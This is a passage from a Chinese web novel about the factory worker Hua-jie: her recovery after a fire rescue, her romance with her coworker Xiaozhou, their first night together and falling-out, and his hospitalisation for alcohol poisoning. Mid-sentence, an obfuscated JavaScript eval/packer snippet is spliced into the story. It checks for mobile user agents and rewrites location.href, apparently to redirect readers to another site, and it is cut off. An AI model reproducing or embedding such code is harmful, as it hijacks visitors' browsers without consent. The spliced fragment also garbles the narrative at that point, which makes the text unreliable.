花姐的眼神在说:他那个人关键时候是要比你们男人些是吧?你们只有在吃喝嫖赌时,天生的男性特质才会喷薄出来。 小张被花姐的眼神看得很不是滋味,那眼神鄙视意味太浓,看久了实在伤自尊。 他挪过眼,岔开话题道:“反正姐,这次你和小舟都成英雄了,肯定要受表彰,说不定还会往上升一升。” 花姐倒是没想到他说的这层,这次风风火火一趟,命还在,嗓子也还在,她就够庆幸了。 人只有濒临死亡过,才会知道什么生死看淡的全是屁话,只有手里切切实实地握着命的人,才会说出这种装腔装势的废话。 越宣称自己不怕死的人,紧要关头越怕死。 否则那天起火,平时“光脚不怕穿鞋”的六兄弟怎么没一个冲进去? 小张还在花姐耳边吵闹,他先于厂领导之前,把花姐英勇救人后在厂里的美好蓝图给规划了出来。 花姐嫌他聒噪得烦,比划了两下示意自己要睡了,让他出去。 小张出去后,花姐心里咚咚地跳,她分不清自己此刻剧烈的心跳是为了劫后余生的后怕,还是其他的。 她想自己怎么就晕过去了呢? 那样一个勇猛十足的小舟就在她晕厥时冒了出来,把自己和小丹从一片快要烧身的火海里解救了出来。 让花姐心跳得更剧烈的缘由是,小舟那一趟绝对是专门为了救自己,她能肯定跟小丹半点关系没有,他是为了救自己才顺便捎上了小丹。 这个人的男子气概不是没有,而是具有针对性。 他的男子气概在平时大众认为应该表现出来时隐藏了,就为等到在特定时候,特定的人身上一发不可收拾地爆发。 认识到这点,花姐全身都做出反应,一种叫荷尔蒙的激素在她身体里横冲直撞,搞得她身体烧坏了似的红,似乎从火场里逃出来的热度还未散去。 刹那间,花姐的肉|体和精神已进入了它的下一段发育,那是青春的最后一段,一个女人对男人动情后的发育。 包主任在花姐醒来后没多久就赶到病房,他对小丹说:“姑奶奶你总算醒了!” 这句“姑奶奶”全然没有以前他那种老辈钻小辈年龄空子的油腔滑调,而是纯正的真诚和敬佩。 花姐指了指自己喉咙,表示说不了话,所以对包主任这句“姑奶奶”的尊称只能勉为其难收下了。 “好大的胆!”包主任夸赞道,“火烧那么凶,你都敢跑进去,你身上很有你们那边人的胆识嘛!” 包主任夸的是花姐的原籍省份,那个省曾在抗日战争时期,出过数百万军人,他们其中很多人南征北战的戎马生涯就是从脚踩一双草鞋开始的。 花姐要比她的先辈们有进步,她当初南下踩的是一双球鞋。 花姐对包主任点了点头,谢谢你主任,难为你还记得我们那边人的特色。 包主任赞美的神色没持续多久,又对花姐把脸垮下了,“下次可不准了!要不是小舟,这次赔进去的就是两条人命!你们两个还有默契,救人还救起接力赛来!” 花姐脸上笑了笑,心里乐颠颠的,她那绽开来的少女情怀,已经把包主任刚才将她和小舟放在一起的话,自动美化成了他们配合默契的意思。 “傻笑什么?”包主任今天是完全的长辈做派,“我跟你说公司领导那边得到消息了,过两天肯定要派人飞过来慰问,丫头,你可是给我长脸了!” 花姐又对包主任比了两个手势,包主任没看懂,去医生办公室找来了纸笔让她把话写下来。 花姐歪歪扭扭、稚气十足的字蕴含了她对包主任的关切。 纸上写道:主任,这次的事会对你有影响吗? 包主任今天匆忙从宿舍赶来,忘带眼镜,看着白纸上像蚯蚓爬的字险些没引起他一阵眩晕。 他心里苦笑,这样一个标致的女孩怎么能写出这一手不标致的字? 随即又泛起惭愧,能为什么?当然是因为偏远地区受教育的欠缺。 包主任毫不留情地批判自己,这样一个善良、勇敢、仗义的女孩,你往日怎么有脸在口角上占人家便宜?还让人家因为你被车间里的男工们时不时调侃两句猥琐玩笑? 望着花姐在经历一场火灾后澄亮的双眼,包主任对自己下了痛改前非的死命令。 以后对花姐,不,对车间里所有女工都不能再起任何不该有的歪心思,这群从大山里走出来的女工们不是送上来让他占便宜的,做不到怜惜她们,也不该糟蹋或者轻贱她们。 他说:“小花,你这孩子怎么还关心起我来了?我就是受点罚也该,再说了,原因查明了是机器的问题,那外国机器运作得好好的突然烧起来了,等上面的人自己和外国人扯皮去吧,我们重要的是先把身体养好!” 养身体?花姐的心颠了下,养身体可上不了流水线,那工资怎么办? 她立即在纸上写下:包主任,我可以上岗,我除了不能说话,身体已经完全复位了。 包主任看了后,两道眉毛一皱,官腔又出来了,“你这孩子怎么回事?说了听医生话养身体就行了,还会少了你吃喝,少了你工资?你现在成反面英雄了,再怎么人事那边也不会把你工资少了吧?” 花姐心落回原处了,又在纸上写下:为什么是反面英雄? “那还用说?个个都像你这样冲进去,造成重大事故,我们坐办公室的不一个二个全跟着下马?!” 包主任还是自视甚高了,花姐心想:你一个车间主任还用得起“下马”这个词? 包主任又叮嘱了几句让花姐放宽心的话,才出了病房了。 在病房躺了个星期后花姐受不了了。 于劳动惯了的人而言,一天二十四小时的休息完全是受刑,在包主任办公室她死缠烂打了好久,才获得首肯,准允回到车间。 回到车间后,花姐却没觉得好过多少,所有都不对劲了,她总是有意无意地避开小舟,可真等避开了,心里有怅然若失的。 他们的事就像一段音乐在突然高昂起来时被画上了休止符,一切本该继续往下浪漫延展的事忽地就叫停了,让花姐心里生了场大病似的空虚。 火灾发生的三个星期后,公司总部的一位高层来了,为他的到来,厂里还临时搭建了个简易舞台,专供他在上面手舞足蹈地发表演讲。 花姐和小舟作为英雌和英雄,在台上和高层领导拍了好多张照片,她对着台下闪强光的镜头想,这次是把前半生十几年没拍的照全补足了。 此时失语的花姐,无法用言语回馈高层领导一趟飞机专程从北京送来的关怀和体贴。 所以她只能在肢体上将感谢表达得尤为激烈,在台子上她觉得自己也跟着这位领导手舞足蹈起来了,这搭起来的台子也为她的表演贡献了场地。 和高层领导你拥我抱的环节结束后,正常表演还没有完。 这位领导来了一出非常浪漫的意料之外。 他在台上卖了个俏皮,问嗓子没受损的小舟,“为什么愿意冒着生命风险英雄救美?” 台下发出了好大一阵笑声,那笑声一浪掀起一浪将花姐包围,当下“浪漫”和“爱情”这两个关联度很大的词,在花姐心里有了一个具象化的场地,那就是海滩。 她站的舞台就是海滩,台下人群的大笑就是海浪,海浪包围着海滩正如笑声包围着她,她和海滩一样无处遁逃。 小舟说谎了,他红着脸说:“因为大家都是一个车间的同事。” 小舟的回答令大家不满意的同时,也令花姐不满意。 台下有人说:“既然是救同事,那你小子红脸做什么?” 小舟对台下说:“你要是站在台上,你不红脸?” 下面的人说:“人家郭总就没红脸!” 小舟来这里后也略懂了点人情世故皮毛,他说:“所以人家才叫郭总啊!” 这下台下笑得更大声了,小舟在此处耍了个狡猾,他才不是故意凑趣奉承远道而来的郭总,他只想用这句奉承岔开郭总和台下人对他的追问。 没想到郭总到底是郭总,奉承听得多了,远不如折腾折腾年轻人好玩,他不打算轻易放过小周。 郭总显然是有备而来的,他问小舟:“我听人说,你是看见我们小花同志冲进火场后,你才冲进去的。” 他实际上是说:你小子的同事还具备筛选性了? 台下又有人起哄:“都说了是英雄救美,小丹哪有我们花姐没?长得不美,名字里敢带个花?” 郭总接得很好,也许当领导的人或多或少都有点主持人天赋,他问小舟:“那你觉得小花美不美?” “美。”小舟眼也不看花姐。 郭总说:“你看都不看人家,你晓得人家美。” 小舟中计了:“我现在没看,我以前也没看?” 郭总说:“原来是这样,你小子平日是没少看,熟悉得都刻进脑子里了。” 台下众人的笑声,快把整个厂房给掀了。 花姐感到自己整个人也被这一波又一波似乎永不停下的笑浪给淹没了,她想,如果这就是爱情的话,来得也过于猛烈了吧?令她窒息的程度丝毫不亚于那天的火灾现场。 爱情凶猛起来原来是冰火两重天的感受。 她之前和小舟在出院后画上的休止符,是在等待第二个更高昂情绪的表达,且同上次一般,都是将感情公之于众的抒发。 在领导南巡的慰问表彰大会结束后,花姐和小舟再没有互相回避的空间了,即使他们刻意不和对方碰面,周围人也会好事,或说理所应当地把他们凑一对。 车间里的人要是看见两个人现身没有出双入对,便会问:“你家花姐呢?”、“你家小舟呢?”。 当周围所有人都默认你们是一对的时候,谁再有意解释,就显得做作、欲盖弥彰和不知好歹了。 花姐和小舟就这样被众人顺水推舟地推成了一对情侣,谁也没对谁表白过,谁也没有对谁说过“我喜欢你”、“我爱你”这类肉麻得话还没脱口,自己人先酥半边的情话。 花姐和小舟的恋爱是行动大于语言,一方面花姐伤了喉咙,即使能说话后,她的嗓子也不能过度使用,每天可以说的话就像被定额了似的,一旦超了,嗓子马上闹罢工了。 于是花姐铁了心要和自己作对,言语上不能表达的情谊她全由行动代劳了,她的手把嘴的那份劳动量给担了过来。 花姐的手在下了流水线后,还会织毛衣、毛裤、围巾、手套、袜子。 小舟身上除了内|裤不能穿毛线织的,其他能用毛线包裹的部位,全让花姐给裹上了。 周围的工友们时常开他俩玩笑,说花姐织的这些毛线衣物都可以开店了,而小舟就是花姐店里的模特。 他们说:“这就叫夫妻店!” “小舟,以后厂里就是再发生一次火灾,整个厂都烧没了也不怕,花姐这手艺在电子厂干流水线多屈才?我女朋友从她服装厂拿回来给我穿的衣服,赶花姐织的差远了。” “人家花姐是用爱来织的,你家从厂里拿回来的次品能比?” 花姐觉得她和小舟目前的感情进展特像是在演影视剧,而周围人的迎合则是为烘托主角感情气氛不可少的背景乐。 花姐和小舟的感情在众人的推动下,进展得越来越强劲,在情人节达到高|潮。 花姐和小舟过情人节得归功于老外。 他们厂所设的这座城市离省城郊区很近,前两年省城开了次规模颇大的国际贸易会议,吸引不少外资把厂设在省城郊区附近,花姐打拼的这座城市也跟着沾了光,他们厂周遭也陆续建了许多外资厂,城里多了不少外国人。 花姐在现实里真正见到外国人时,给了她心灵不小的震动。 她的震撼不在于外国人浓墨重彩的五官真像电影里那样帅和美——外国人也有长相一般,甚至扭曲的——花姐的震撼在于,这些黄头发,蓝绿眼的外国人都愿意从他们发达的国度来到这座次发达的城市了,是否意味着以后她打工的城市也会发展得像国外一样? 她这辈子是不能像李主管那样,一脚踏到外国领土上去,那么让外国人的脚和她同踩一片土地也很好不是吗? 有了洋人,土气不也跟着沾上洋气了? 她预料的果然没错,洋人的到来,确实为这座城市带来了更多洋气。 城里的年轻人赶时髦地要过外国人的节日,不仅外国人到这边要入乡随俗,本地人也因外国人的到来而随他们的俗。 本地人也渐渐开始情人节送玫瑰、复活节染鸡蛋、万圣节雕南瓜、感恩节吃火鸡——火鸡很难买到,所以基本用本地鸡替代。 情人节这天小舟也捧了把玫瑰花,拎个礼物袋子在那棵老黄桷树下等花姐。 老黄桷树跟月老树似的,树下站满了等待女伴的男工们。 在这座举目无亲的城市,爱情是他们这群漂泊异乡的年轻男女们最能遣散寂寞的事。 花姐和厂宿舍里其他女工一样,学电视剧里演的,女方要迟到个一二十分钟。 但她们早在约定时间的个多小时前就按耐不住了。 花姐焦急地看表,超出约定时间五分钟她就走出宿舍门了,从宿舍走到黄桷树下,正好可以凑足迟到的十分钟。 小舟见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630293|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花姐来,先是把一捧玫瑰递上说:“送给你的!” 花姐嗔呢地怪他:“干嘛买这种不实惠的玩意儿?浪费的钱够出去吃几顿好的了,卖花的就趁这几天宰客!” 但她心里开心极了, 有时她都被如此表里不一的自己吓一跳,怎么被全家仰仗的自己在这个斯文男人面前就小女人起来了?爱情是真能把人弄颠倒! 小舟真诚地说:“就觉得这花特漂亮,和你人一样。” 把爱人比作玫瑰不算新鲜的比喻,但能让嘴笨、平和、实在惯了的小舟说出这种比喻是顶新鲜的。 花姐从他手里接过花,又问道:“你手里提的什么?” 小舟望着花姐穿球鞋的脚想起了什么,脸微微一红说:“我们先去吃饭吧,礼物不是要吃饭的时候再送吗?” 菜是西菜,外国人来了后,城里这类菜馆子和高楼大厦竞赛般冒出来。 大部分西菜馆里的厨师,都是做了十几年的中菜为了配合潮流,一把年纪了改头换面做起西菜来。 他们做的西菜是未经培训,自己对照着各国西式菜谱,七拼八凑想当然地做出来的。 这种中西合并的西菜,它的不伦不类只能使外国人把它当中餐吃,中国人又把它当西餐吃,吃完后中外双方食客都认为:这菜颇有自己国家的特色。 花姐和小舟现下就坐在城里一家典型的本地人开的西菜馆,穿廉价西服打领带的服务员上前把菜本递给他们看,上面还煞有介事地标上了英文。 两人一人一本十分专注地看,虽然看不出来个名堂来,但来都来了,派头还是要做足的。 看半天,最后他们都点了牛排为正餐,其他配菜是沙拉、甜品。 “牛排要几分熟?”服务员打着哈欠问,这份工作他干得自己都嫌烦。 花姐对他的态度非常不满意,这店里的菜吃一次够在食堂里吃半个月了,如此高昂的消费竟换不来他的优质服务。 “你介绍一下几分熟最好。”花姐说。 服务员一点不掩饰他的敷衍,无精打采地把一、三、五、七和全熟依次介绍了。 “熟的怎么全是单数?”花姐问,“熟成双数的牛排不能吃?” 服务员精神来了,每次他觉得客人要找碴时,他的精神就追上来了,勉强地端正下自己态度,不然这些刁蛮的客人闹起来,他对老板无法交差。 花姐当然不知道这个服务员和她同样的外地人,也是落后老家留不住的年轻人,只是他们各自留在异乡的方式和途径不同罢了。 服务员说:“小姐,不好意思,这是西方人的说法,我们也不过是照做。” 花姐非要和他过不去,“你们照做不把前因后果搞清?” 花姐忘了,她自己在电子厂工作,也没把每个零部件的材料和用途搞清。 小舟有点看不过去了,他拉了拉花姐手,意思是算了,今天是来吃饭的,又不是来上中外文化课的。 花姐看在小舟面子上不和服务员计较了,两个人都点了全熟的牛排,她在听了刚才服务员潦草的介绍后,可不想切的时候切出血来败坏气氛。 等了半个钟头,牛排被另一位女服务员用餐车推过来,放桌上,女服务员的好态度总算稍平息花姐心里那团窝火。 可等花姐用刀叉费力切割盘里牛肉时,那餐刀跟生了锈似的,怎么切都切不动,金属餐具和餐盘发出的刺耳剐蹭声,几乎是贴着她烦躁的神经边缘摩擦。 她干脆也不切了,自暴自弃地拿叉子把整块牛排叉起来,用她无往不利的牙齿去把肉咬下来送嘴里。 小舟被她的不雅动作弄得憋不住笑,他倒是把刀叉用得很好,每块肉切得方方正正送花姐碗里。 等沙拉送上来,花姐好不容易好起来的心情又跌下去了。 几样切成丝混合的菜叶子加点酱就可以卖十几斤菜的价钱了? 她又要忍不住质问了,坐对面的小舟恳求她不要发作。 这顿自他们相遇来,吃得最贵的一顿饭比不上过去两个人吃的任何一顿。 出了饭店,花姐忍无可忍地对小舟发怨:“以后别再花钱受这种洋罪了。” 小舟接受度比她高,他觉得钱既然都花出去了,就算没有预期那么满意,可也该高兴地继续下去。 钱都浪费了难道还要继续浪费心情吗? 小舟说:“我们总不会每次尝试新的东西,第一次就满意啊。” “你意思是,要花冤枉钱花到你满意为止?” “我不是这个意思。”小舟说。 “那你是什么意思?”花姐追问。 倏忽间,花姐瞥见餐馆外的玻璃壁反射的自己,那是一张令人扫兴的脸,皱得扭曲的眉毛,因怒意而翕张的鼻翼,还有将要为说出的难听话做好准备的嘴唇。 她当即意识到,玻璃壁反射的自己也是小舟眼眸中的自己,对着这样一张提前进入“黄脸婆”角色的脸,小舟还能讪讪地叫出“花姐姐”吗? 她立马调整自己状态,她不是那种脖颈很硬,弯不下去说道歉的女人,行走江湖有些年头的她早学会了:女人恰合时宜的示弱反而是另一种进攻。 “对不起。”花姐诚笃地向小舟道歉。 她迅速反省出自己错误:这顿饭没花你一分钱,你生什么气?你是提前把自己当他老婆了,他的每一分钱你都还管上了?你要知道老婆花老公钱可没女朋友花男朋友钱来得浪漫。 前者是为生活开销精打细算来花,而后者是为风花雪月而浪掷。 “对不起什么?”小舟笑起来, 他就是这点好,温吞的秉性让他生气的情绪本能退化了。 花姐少女般地孩子气浮出来,“你见好就收啊!人家都道歉了,你还要怎么样?还要我把罪状给你罗列出来?” 小舟笑笑没说话,他让花姐和他坐在路边的长椅上,在饭店里没拆的礼物,这一刻他送到花姐手上。 花姐拆开,是一双紫色皮的高跟凉拖鞋。 诧异在她眼里飞速发酵,打死她也想不到小舟今天送自己的是这样一件礼物,一件极富性挑逗意味的礼物, 花姐还没被他大胆给弄脸红,他先缴械坦白了,“那天,就是我中暑你送我去医务室那天,你记得吗?” 花姐点了点头,别废话,快继续往下说,你不知道你的行为快要使我语无伦次了吗? “那天,我看黄医生穿的是一双红鞋子,她脚就那样晃,我盯了很久,你给我买来解暑的绿豆汤我都忘记喝了。” 花姐:别在我面前把别的女人有女人味的场面描述得那么详细,你难道不知道女人是会吃醋的吗?还是你很乐意让我为你吃醋? “我当时就想要是你穿上这样一双鞋,像她那样晃一定比她更好看......” 花姐:等等,你小子是把我的头套在另一个女人的身体上了?原来你想象中的我是这样风骚,不,是你小子够闷骚! “你怎么不说话?”小舟忐忑地问花姐。 花姐岁数到底比他大,羞涩不在脸上,而在自己黑眼珠里,她逼自己表现得不经意,她不想让此时内心小鹿乱撞的自己搭不上小舟对他熟女形象的期待。 “你小子可以嘛!”她像在情场里摸爬滚打了多年的老手般,“我还以为你跟厂里的其他男人不一样。” 小舟羞涩地垂下眼睑,花姐这份故作的风情让他消受不了。 那天晚上,花姐就把小舟想象的那份成熟在城里一家中等酒店房间里,展示给他看了。 那双在她脚尖晃荡的高跟鞋,使他们开场的吻不是从头到脚,而是从脚到头。 她觉得小舟爱她的脚比爱她的人多,她清楚自己的脚,也是一双美丽得与黄医生不分上下的脚。 花姐人生的第一次,从女孩蜕变为女人的第一次,不算太美好,因为和同样第一次的小舟开展这项运动,必须由她担任引导的角色,在此之前,她从未被别人引导过。 她尽量把自己整个在酒店白床单上铺展开来,包容埋伏于她身上的小舟予取予夺,男女之间头次做这种事,准备再充分也是要受痛的。 但花姐必须忍受她那份痛,在小舟心里她的形象具备足够的母性,拥有母性包容的情人,怎么能对她包容的人叫痛呢? 那一晚花姐由心到身,由内自外地将小舟纳于其中,他们似乎发生了性别和辈分的倒错。 花姐最后像情事结束后,男人搂抱女人那样搂抱小舟,又像长辈抚慰晚辈般抚慰小舟。 后来花姐回想,他们的第一次就为以后两人感情的发展奠定了结束的基调。 她需要包容小舟更多,而她在这段感情里忘记了自己本就是个拥有很少的人,哪儿拥有那么多去给予他? 31. 花姐(五) 花姐后来和小舟感情的进展,就这样时好时坏地进行着,好和坏取决于她当下的包容力。 她也有想像其他同龄女孩一样,忍无可忍、大发脾气的时候。 可她谈的是姐弟恋,姐弟恋的特色之一就在于,年龄的差距让女方把忍气吞声,这件情侣间该男人干的事自己揽过来了。 但她不知道的是,在她感到忍气吞声时,小小舟的感受却与她出奇的一致。 谈起恋爱的小舟是真像个孩子,在这座中外交流日益频繁,花样百出的城市。 他总控制不住想和花姐体验一些新奇的事物,买些新奇的玩意儿送给花姐。 而花姐无论体验过程如何,收到的礼物满意与否,都会怪他乱花钱。 久了,两个人也会不可避免地产生争执。 花姐会愤怒地指出他们当下面对的现实:“你别忘了,我跟你每个月挣的钱,不是只供两个人花,我问你,你家里你还管不管了?” 每每这时,小舟心里会痛上好几天。 痛花姐只要一生气,“我们”就成了“我跟你”,十足的界限感仿佛两个人从未合二为一过。 其次,来到这里后,小舟才见识到,那些毫无负担地活着的人,能把生活过得多么肆意,而他也许这辈子都不能这样洒脱,他渴望逃避,而花姐总是一次又一次把残酷现实摊在他眼前,让他避无可避。 “我没说不管!”小舟和她拧起来。 他哪个月是没往家里寄钱还是少往家里寄钱了?他什么时候又花过她的钱了?凭什么要受她这样的指责? “那你管过我们吗?你出来打工一趟存了多少钱?我存了多少钱?” 花姐是一边骂小刚,一边瞧不起自己:不要再说了,你自己在家的时候,不是最厌烦家里人为钱吵架吗? 可她还是不受控地继续:“你和我都不想回老家去吧?都想留在这里是吧?你月月光你怎么留在这里?住厂宿舍住一辈子?一辈子不自己买房?” “你烦死了!”她说得全是实话,实话比恋人间无理取闹的脏话还难听,实话完全正确,小舟无法反驳,只能回击她烦人。 “哟,烦?”别这样,千万别这样,花姐申斥自己。 但说话的她是不受理智控制的她,“你给我献殷勤的时候怎么不嫌烦?喊我姐姐和我睡觉的时候怎么不嫌烦?现在吃干抹净了就嫌烦了?是不是后悔了?后悔当初把我从火场里救出来,我死在里面就没人烦你了!” “你这个神经病!”小刚简直要被她气疯了,“我有这样说吗?!” “你心里是这样想!我只是替你把你心里的话全说出来!”花姐自己都厌恶自己了,多么蛮不讲理的一个女人?逼着你的恋人承认恨不得你去死,难道会让你很有成就感吗? 小舟说:“如果这样想能让你好过,你就这样想吧!” 说完,小舟毫不拖泥带水地走了。 这样想怎么可能会让花姐心里好过? 她望着他决绝转身的背影,明白了一个残酷的事实:他们的感情已经变质了,但谁也没错,或者错就错在双方的出发点都是为彼此好。 渐渐地,他们吵架的次数,多过甜言蜜语的次数,然后发现,和对方吵一架,反而比说甜言蜜语更自然,更顺畅得。 小舟越来越苦恼,在宿舍里意志消沉,被舍友们撺掇上了喝酒的恶习。 他借酒精麻痹神经,他的神经一旦清醒,就会痛苦地想弄懂,那个体贴的“花姐姐”,怎么就不知不觉地被一个黄脸泼妇调包了? 他想:他当初为了她可是连死都不怕啊! 直到很多年后,有足够阅历的小舟,像解开木乃伊的层层裹尸布那样,解开了这段被他尘封已久年少爱情。 他悟出一个道理:受活可比受死难受多了,受死是一瞬间的,甚至带着悲壮的美感;而受活不仅漫长、折磨,还有苟且偷生的耻辱感。 那时他和花姐的感情,就如同一个受活的过程,双方都给不出这段爱情的最终走向,是步入婚姻,还是分道扬镳? 步入婚姻是可笑的,恋爱没处理好就结婚,那婚姻处理不好,是不是又接着生孩子?两个人恶劣关系的解决办法,就是把彼此都绑死了,堕入再也爬不出的深渊? 而分道扬镳又是可惜的,他们都是彼此爱上的第一个人,两看相厌是真的,但爱的痕迹还存在着不是吗?尽管无比飘渺。 这时,花姐和小舟两个人对感情关系的处理,都采取了逃避的方式。 两个人的逃避都带有彼此的性格特色,花姐是更拼命地工作,把伤心的时间花在挣钱上,每个月多到手的那点工资,至少可以弥补些受伤的心。 而小舟则是在染上酗酒的恶习后,还抽上了烟。 花姐更看不上他了,擦身而过时,他身边的烟酒味让她本能地皱鼻,而她脸上嫌恶的神色全被小舟刻进心里。 他们的彻底闹翻,是在花姐向厂里请假回家,假期休完回厂后。 花姐的父亲在帮村里人抬棺材,上山时路滑摔了一跤。 那一跤伤得不重,但农村人抬棺材忌讳棺材落地,她父亲下意识地用身体去垫,被实木棺材砸到盆骨,五十岁的人这样来一场,不死也和残废没分别了。 那家人也觉得倒霉,他们是宁愿棺材落地,也不宁愿落在花姐父亲身上啊,棺材落地说法是倒霉几年,可落花姐父亲身上,马上就倒霉了。 农村谁都不富裕,他们只愿也只能出一万五,多的把土房扒了也拿不出。 花姐一家只能认栽,谁都没让老头子去给棺材当垫子,他自己要扑过去,还搞得自己也半只脚踏进棺材里。 事发突然,花姐请假请得急,连厂里请假的正常流程都没走,只和包主任招呼了声就走了。 包主任也没多话,按辈分,四十出头的他,还得叫花姐五十岁的父亲一声“哥”,中年人盆骨骨折有多严重,他比花姐更清楚。 包主任甚至在花姐哭着跟他请假时,心里就做好了,她父亲因重伤不治,事假变丧假的准备。 花姐离厂,员工请假流程没走,女朋友请假流程更没顾上。 小舟见当天下午她人不在工位,还以为自己记错班次表了——两人即便在冷战期间,双方也记得彼此的排班表。 小舟问同事,同事比他更莫名其妙,“你家的没来上班,你问我?” 另一个说:“今上午我本来有事要找包主任,敲门进去看见花姐在主任办公室哭,我不好意思,出来了,也不晓得是为什么哭。” 人与人的脑回路是有区别的,备受爱情烈火油烹的人,脑回路则比常人更加清奇,常人遇到这情况回想:那我得去问问包主任她为什么哭,又为什么哭了又消失了。 而小舟的脑回路是:去找一个已婚多年的老男人哭,也不找你现成的男友哭?是老男人的阅历更懂你的眼泪吗? 同事们看样子都知道,这两人最近在闹别扭,一边感慨爱情这捣鬼的玩意儿,是无论开场多么超凡脱俗,到最后都不免落入双方势同水火的俗套。 一边又不忍心眼见这场轰轰烈烈起头的感情,就这样草草收尾。 有人跑到包主任办公室去把原由搞清了,回到车间和小舟说:“花姐爸爸出事,把盆骨摔骨折了,这才匆匆忙忙招呼不打走的。” 每个工厂的车间都是大集体,各人的事在这大集体里没有藏私说法。 大家都七嘴八舌地发表看法,基本成两派:女人的看法是小舟不像话,对女朋友居然疏忽到如此地步。 男同志们不乐意了,“你们女人遇上事都藏着,连个通知都没有,我们男人找对象,还要学读心术?” “你朝夕相处的另一半你都读不懂,要你做屁?我看你们男人读领导的时候,倒是读得很透。” 两拨人的嘈杂让小舟更加心烦意乱,一下车间他就把自己关宿舍里喝酒,之前喝猛了,舍友们还会管管他,这次舍友们全出去,他一个人喝个够。 等凌晨舍友们回来,看趴在桌子上醉倒的小刚,几个人给他脱了衣服,又擦两下身体放床上。 次日,小舟正好调休,宿舍里另外也有两个舍友和他同班次,三个人睡到下午,另外两个饿了要买饭,问小舟吃什么,没听见他回答。 两个人想喝得再醉,这时候也该醒了吧?又叫了两声,小舟依然没回应。 有个按耐不住,走到他床前推了两下,小舟跟死了似的不动弹。 两个舍友电光石火地对视一眼,想一处去了。 小舟本就是内向和敏感的性格,可别是干傻事了吧? 两人也不管脉搏还有没有,跳动得还强不强烈,一头一尾抬着就送医务室。 值班的黄医生凭直觉判断出,是大量饮酒导致的酒精中毒,怕叫救护车来不及,用厂里专车赶紧送进医院。 近深秋的夜晚,光是看看医院窗外萧瑟的落叶,就够让人伤感了,更不必说,小舟还是因失意而过度饮酒给送进来的。 上次住进这家医院的时候,他和花姐的爱情正在萌芽时分,而这次已几近凋零了。 古人用“断肠”形容人伤心到极度,小舟这次被爱情和酒精折磨得腹绞痛的身体,也是体会到了“愁肠寸断”并非夸张。 这一刻的天涯断肠人不止小舟一个,近三千公里外的花姐,在病房里守着她的重伤老父亲,也正断着肠。 他们俩在同一轮弯月下,隔着天远地远,用“断肠”的方式,承受双方带给彼此的痛,他们不知需要多久才会康复,去迎候下一次断肠,也不知自己是否还有再次承受断肠的能力。 小舟住院期间,负责他床位的护士梅梅,对他态度十分恶劣,做什么都不耐烦。 起初小舟以为梅梅只是厌烦她的职业,于是他在理解的同时,也忍受梅梅对他的不耐烦。 可没过多久,他发现病房里的病人,个个比他难伺候,但梅梅却不厌其烦地伺候那些人。 如此分明的区别对待,让他心里不好过了,尽管自己住院病因最轻,可自己也几乎没麻烦过她吧?除了最基础的换药水、注射之外,她还替自己干了什么? 小舟心里本来就为了花姐的事愁闷,又在医院里受这样的窝囊气,他索性匪起来了。 之前怕麻烦到护士梅梅,他上厕所都小心翼翼的,怕把输液那只手碰到肿了,又要麻烦她重新注射,既然麻不麻烦她,她都烦自己,那就让她烦好了。 小舟不再强忍到实在是憋不住了才去厕所,他一有感觉就去,输液那只手也不仔细了,大大方方地动,出血了肿了,他也像病房里其他病人那样,不吝啬地呼叫护士。 梅梅没好气地给他重新打针,边打边骂:“你还是小孩子?控制不了自己身体?两只手都肿成猪蹄了,我看你身上还有哪里可以戳!” 小舟不理她,反正惹得她不舒服,烦得她来回折腾,自己报复的目的就达到了。 梅梅见他不说话,更气了,手上动作狠辣起来,小舟没忍住“嘶”一声。 “动啊!”梅梅得意地说,“你这次再瞎折腾,我下次下手更重!” “喂!”病房里有人看不过去了,“护士,你轻点嘛!人家的手又不是块死肉,哪有你这样不留情的?” 梅梅说:“我看他就是喜欢这样,不然一天让我跑四五次?” 另一个病号笑道:“你们护士不照顾照顾病人心灵呀?人家小伙子是失恋,喝酒喝多了送进来的,你不关爱他就算了,还跟着伤害他。” “你们不懂,”起头那个笑道,“年轻女人,尤其是还漂亮的,最懂怎么伤害男人!” 同病房的病人们是从下工后,来看望小舟的工友们嘴里得知的。 住院是件非常无聊的事,在病床上躺一天抵外面过三天,任何屁大点的事放到病房里,都可以闹上好几天。 就在一堆人因无聊而过分夸张的热闹里,小舟和护士梅梅作为引起他们热闹的主人公,眼神在空中不经意地交接了一下,又迅速移开。 就这匆匆一眼,让梅梅惊讶地发现,小舟略显苍白的五官其实十分俊秀。 挺拔却窄细的鼻梁,使他的中庭不像大多拥有高鼻梁的男人那样,高得近乎冷酷;两瓣嘴唇,下唇比上唇略厚,她听大人说男人嘴长成这样是很薄情的,可薄情的人,怎么会做出为情把自己搞得住院这样深情的事?再往下,是微微前翘的下巴,这种下巴笑起来时,从侧面看为尤为可爱。 梅梅手上的动作,连她自己都未发觉地轻了,她重新给插输液针的地方贴上胶布后,三两下就收拾完出去。 出了病房,她感到自己一阵口干,心跳得好重。 她讶异于刚刚连一秒都不到的对视里,她把他竟看得很仔细,连他左眼下一颗极微小的痣也看见了,有说法是,只有喜欢偷偷躲起来流泪的人,泪痣才会生得这样小。 他也会躲起来为那个让他失恋的女人哭泣吗? 梅梅摇了摇头,青天白日的是疯了吗?对一个男病人的脸想入非非。 可等到晚上,同事想请她帮忙值夜班,同事从部队休假的男友今晚到火车站,他们整整一年没见了,彼此都想成为对方第一个见到的人。 梅梅答应了,尽管她今晚有个早说好要赴的约。 她的父母和另外一个年轻人的父母定下的,两边大人都认为,双方子女无比适配,医生和护士,无论是做同事还是夫妻,这世上都挑不出比他们更配对的组合了。 梅梅打电话到父母家,没人接听,她留言说自己因为工作不得已的原因,今晚以及之后几天必须留院。 最后她语气很铁血地强调,这世上没有什么约定比救死扶伤更重要,对方是医生更应该体谅她这点,如果这点都不能体谅,那么他们这对医生和护士的配对,并不如双方父母想的那样搭调。 放下电话,梅梅自己都笑了,救死扶伤?为什么说这四个字时,脑海里浮出的是那张苍白俊秀的脸? 